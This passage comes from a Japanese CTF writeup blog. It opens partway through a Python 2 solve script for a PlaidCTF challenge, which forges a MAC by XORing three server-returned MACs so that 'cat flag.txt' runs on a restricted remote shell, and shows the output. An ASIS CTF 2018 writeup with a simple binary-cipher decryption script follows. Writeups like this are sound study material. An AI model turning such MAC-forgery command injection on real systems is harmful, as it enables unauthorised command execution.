cmd2 = 'echo 0123456789;' * 128 + 'cat flag.txt'
cmd = cmd_head + cmd2
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '|$|> ')
print data
mac2 = data.split('\n')[0]

cmd3 = 'echo 0123456'
cmd = cmd_head + cmd3
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '|$|> ')
print data
mac3 = data.split('\n')[0]

mac_cat = '%032x' % (int(mac1, 16) ^ int(mac2, 16) ^ int(mac3, 16))
cmd_cat = mac_cat + '<|>cat flag.txt'
print cmd_cat
s.sendall(cmd_cat + '\n')
data = recvuntil(s, '|$|> ')
print data

実行結果は以下の通り。

   :
|$|>
9daabce6ee4c110034527e8a432abd26<|>ls .
__pycache__
flag.txt
fmac.py
macsh.py
.bashrc
.bash_logout
.profile
   :
|$|>
e04241a0f78ab714e517439cd7f8dccb<|>cat flag.txt
PCTF{fmac_is_busted_use_PMAC_instead}
|$|>
PCTF{fmac_is_busted_use_PMAC_instead}

ASIS CTF Quals 2018 Writeup

この大会は2018/4/29 3:00(JST)~2018/5/1 3:00(JST)に開催されました。
今回もチームで参戦。結果は541点で736チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Trivia)

Twitterで@ASISCTFがフラグをツイートしている。

ASIS{Welcome_to_ASISCTF_Let's_increase_the_world's_entropy}

The Early School (Crypto)

暗号の処理は以下のイメージ。

FLAGを2進数にする。

FLAGの2進数の長さが79の場合
msg[0] + msg[1] + msg[0] ^ msg[min(1, 78)]
msg[2] + msg[3] + msg[2] ^ msg[min(3, 78)]
msg[4] + msg[5] + msg[4] ^ msg[min(5, 78)]
         :
msg[78] + msg[78] ^ msg[min(79, 78)]

roundの回数だけ繰り返す。

元の平文も含まれているので、復号はそれほど難しくない。

from Crypto.Util.number import *

def decrypt(msg):
    dec = ''
    for i in range(0, len(msg), 3):
        if (i + 2) < len(msg):
            assert int(msg[i]) ^ int(msg[i+1]) == int(msg[i+2])
            dec += msg[i:i+2]
        else:
            assert int(msg[i+1]) == 0
            dec += msg[i:i+1]
    return dec

with open('FLAG.enc', 'rb') as f:
    data = f.read()

ENC = bin(bytes_to_long(data))[2:]

i = 1
while True:
    try:
        print 'Round %d' % i
        ENC = decrypt(ENC)
        i += 1
    except:
        break

while True:
    if len(ENC) % 8 == 0:
        break
    ENC = '0' + ENC

FLAG = ''
for i in range(0, len(ENC), 8):
    FLAG += chr(int(ENC[i:i+8], 2))

print FLAG
ASIS{50_S1mPl3_CryptO__4__warmup____}